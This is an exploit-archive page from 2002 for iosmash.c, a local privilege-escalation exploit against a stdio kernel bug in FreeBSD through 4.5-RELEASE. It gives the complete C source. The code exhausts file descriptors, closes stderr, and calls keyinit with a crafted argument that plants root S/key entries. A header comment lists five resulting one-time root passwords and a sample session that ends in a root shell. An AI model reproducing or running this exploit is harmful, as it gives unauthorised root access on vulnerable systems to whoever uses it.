never stop questioning

iosmash.c

iosmash.c
Posted Apr 25, 2002
Authored by phased

Iosmash.c is an exploit for the stdio kernel bug that resides in all releases of FreeBSD up to and including 4.5-RELEASE. The exploit uses keyinit, which is part of the S/key package, to create 5 valid root passwords that give instant root access trough S/key.

tags | exploit, kernel, root
systems | freebsd
MD5 | 5a17bababe3ea7ff5e73ed68e8bf079d

iosmash.c

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/*
phased/b10z
phased@snosoft.com
23/04/2002

stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
decided to make a trivial exploit to easily get root :)

> id
uid=1003(phased) gid=999(phased) groups=999(phased)
> ./iosmash
Adding phased:
<--- HIT CTRL-C --->
> su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes#

this program makes the following skeys valid

95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO

http://www.snosoft.com
cheers Joost Pol
*/

#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
while(dup(1) != -1);
close(2);
execl("/usr/bin/keyinit",
"\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n");
}

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